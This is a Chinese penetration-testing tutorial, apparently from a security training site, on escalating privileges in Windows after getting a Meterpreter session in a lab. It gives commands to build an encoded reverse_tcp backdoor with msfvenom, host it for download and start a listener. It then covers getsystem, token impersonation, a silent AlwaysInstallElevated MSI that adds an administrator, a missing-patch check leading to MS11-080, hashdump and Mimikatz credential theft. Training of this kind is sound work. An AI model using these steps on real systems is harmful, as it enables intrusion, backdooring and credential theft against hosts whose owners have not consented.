原创: 红日安全 雨幕 合天智汇 昨天
一
引言
Meterpreter提权我们经常会遇到,熟悉它掌握它对渗透测试至关重要。竟然无法逃避就得学会征服它,接下来我会带领征服Meterpreter。
二
准备实验环境
1. Kali linux (攻击机) 192.168.17.134
2. Window server 2003(靶机)
三
获取Meterpreter会话
第一步:生成后门程序
msfvenom
作用:生成木马(后门)文件,替代早期版本的msfpayload和msfencoder。
生成命令:
msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.17.134 lport=4444 -fexe -e x86/shikata_ga_nai -a x86 --platform windows -i 12 -b ‘\x00’-o /var/www/html/yumu.exe
参数解释:
1. -p 指定需要使用的payload(攻击载荷)
2. lhost= 监听ip地址
3. lport= 监听端口
4. -f 指定输出格式
第二步:攻击机开启监听
先写一个rc文件然后使用MSF开启监听,rc文件中命令如下:
useexploit/multi/handler
setpayload windows/meterpreter/reverse_tcp
setlhost 192.168.17.134
setlport 4444
run
第三步:开启apache构建下载条件
命令如下:/etc/init.d/apache2start
第四步:靶机下载后门运行,反弹会话
四
开始提权
提权过程集合高低权限用户进行讲解,贴近真实环境进行讲解提权思路。
方法1:直接使用getsystem提权
getsystem:是MSF提供给我们的提权命令,也是最常用的提权方式之一。它是有三种技术实现权限提升,默认值为0即尝试所有的技术来提权。如果你需要对Windows7、8或以上的系统进行getsystem首先得绕过UAC。命令如下:runpost/windows/escalate/bypassuac.
命令管道模拟提升攻击(包含两种)
第一种:从Meterpreter创建一个命名管道。它会创建并运行一个服务器程序,运行cmd.exe/ c echo“some data”> \\.\pipe\[random pipe here]。当产生的cmd.exe连接到Meterpreter的命名管道时,Meterpreter有机会模拟其他其他用户去执行某项操作。客户端的扮演是一种命名管道功能。假如是SYSTEM,当你模拟它时,用户就变成了SYSTEM。
第二种:创建一个命名管道并模拟第一个客户端的用户以连接到它。使用SYSTEM用户创建客户端,然后会将DLL放入磁盘并将rundll32.exe作为服务进行安排,以SYSTEM身份运行.DDL连接到命名管道进行提权。
令牌假冒
使用高权限用户的令牌ID去假冒高权限用户,进而获得其对应的权限。
第一步:切换shell,查询用户权限
Netuser dabai(普通用户)
Netuser Administrator(管理员)
第二步:使用getsystem提权
dabai(普通用户提权失败)
Administrator(管理员,提权成功)
从结果分析我们得知普通用户使用该方式提权较难,失败概率很高,相反管理员用户提权非常容易,成功概率很高。
方法2:令牌假冒
假冒同网络下的其他某个用户进行各种操作,例如提升权限、创建用户和组等。
第一步:加载模块 Useincognito
可以使用Help查看令牌假冒相关的命令
第二步:查看可假冒的用户信息 list_tokens–u
Warning:Not currently running as SYSTEM, not all tokens will be available
Callrev2self if primary process token is SYSTEM
由警告信息我们得知无法正常假冒用户,所以令牌假冒失败。假设有用户可以假冒就可以进行第三步操作。
第三步:假冒用户
dabai(普通用户)和提权不成功。
impersonate_token[name of the account to impersonate]
例如:impersonate_token YUMU-061CAD6690\dabai
方法3:AlwaysInstallElevated提权
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。假设我们拿到目标主机的Meterpreter会话后并没能通过一些常规方式取得SYSTEM权限,那么AlwaysInstallElevated提权可以给我们带来另一条思路。
默认情况下这个AlwaysInstallElevated并没有开启,为了演示需要,我们先进行开启。
运行gpedit.msc命令打开组策略进行设置。
A.组策略-计算机配置—管理模版—Windows组件—WindowsInstaller—永远以高特权进行安装:选择启用。
B.组策略-用户配置—管理模版-Windows组件—WindowsInstaller-永远以高特权进行安装:选择启用。
设置成功后两个注册表的值会被置为1:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
第一步:检测靶机是否开启该漏洞
切换shell界面然后执行以下命令:
regquery HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /vAlwaysInstallElevated
regquery HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /vAlwaysInstallElevated
从上图的结果我们可以确定目标确实存在该漏洞的。
注意:如果这条命令出错类似于:Thesystem was unable to find the specified registry key or value或者:错误:系统找不到指定的注册表项或值。说明目标并没有开启该策略,不存在该漏洞。
第二步:生成带有添加管理员用户的MSI安装文件
添加一个账号为yumu密码为Yumu12345678@@的用户,命令如下:
msfvenom-p windows/adduser USER=msi PASS=P@ssword123! -f msi
-o/var/www/html/test.msi
第三步:先上传到靶机
upload/var/www/html/test.msi E:\\phpStudy\\PHPtutorial\\WWW
注意点:上传的路径对应是“\\”不是”\”,如果使用“\”会出现上传文件名显示出错的问题。如下:
第三步:执行安装
切换shell界面运行以下命令
msiexec/quiet /qn /i E:\phpStudy\PHPTutorial\WWW\test.msi
msiexec相关参数解释如下:
/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/i:安装程序
第四步:检测用户是否成功添加
切换shell界面输入net localgroup administrators 查看管理员组中是否存在该用户。
从结果上来看,成功添加用户。
补充点:如果目标机没有开启远程桌面服务,可以再shell界面下执行以下命令以开启:
wmicRDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections1
方法4:挖掘漏洞进行提权
这里使用低权限的dabai(普通用户)进行演示。
第一步:切换shell界面检测补丁情况
输入命令:
systeminfo>a.txt&(for%i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %iNot Installed!)&del /f /q /a a.txt
Notinstalled表示没有安装对应的补丁,说明该漏洞存在利用的可能。
第二步:确定其漏洞编码号
第三步:选择漏洞进行提权
我们使用搜索引擎通过漏洞编码来获取漏洞的具体信息,然后确定选择那个漏洞进行利用。
最后确定对MS11-080漏洞进行利用。
第四步:上传漏洞EXP
第五步:执行EXP添加管理员用户
执行成功之后会添加管理员用户账号为90sec密码为90sec。
添加用户失败的时候如下图:
添加用户成功的时候如下图:
第六步:验证管理员用户是否成功添加
方法5:获取管理员账号密码
方式1:获取hash值然后解密
第一步:获取hash值
使用命令:hashdump
第二步:在线网站破解hash
网站地址:http://www.objectif-securite.ch/en/ophcrack.php
方式2:Mimikatz获取明文密码
mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、buildGolden tickets等数种黑客技术。(运行Mimikatz最好在system权限下,不然会出错·)
第一步:导入Mimikatz插件
命令如下:loadminikatz
查看帮助信息可以使用help命令。
第二步:获取hash值或者直接获取明文
msv获取hash值,kerberos获取明文。
第三步:在线解密hash值
网站地址:http://www.objectif-securite.ch/en/ophcrack.php
五
总结
本文讲到了五种方式提权,分别是直接getsystem提权,令牌假冒,AlwaysInstallElevated提权,挖掘漏洞进行提权,获取管理员账号密码。讲解了高低权限用户如何进行提权以及提权的额外注意点,对提权有一个思路上的拓展。
(注:本文属于合天原创投稿奖励,未经允许,禁止转载!)
,